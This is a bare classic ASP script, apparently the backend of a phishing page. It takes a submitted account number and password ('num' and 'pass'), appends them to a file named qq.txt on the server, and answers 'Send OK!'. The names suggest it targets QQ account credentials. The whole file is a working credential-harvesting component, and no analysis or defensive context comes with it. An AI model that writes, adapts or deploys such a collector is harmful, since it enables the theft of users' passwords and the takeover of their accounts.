- <%
- num=request("num")
- pass=request("pass")
- set fs=server.CreateObject("Scripting.FileSystemObject")
- set file=fs.OpenTextFile(server.MapPath("qq.txt"),8,True)
- file.writeline num+"---"+"-"+pass
- file.close
- set file=nothing
- set fs=nothing
- response.write "Send OK!"
- %>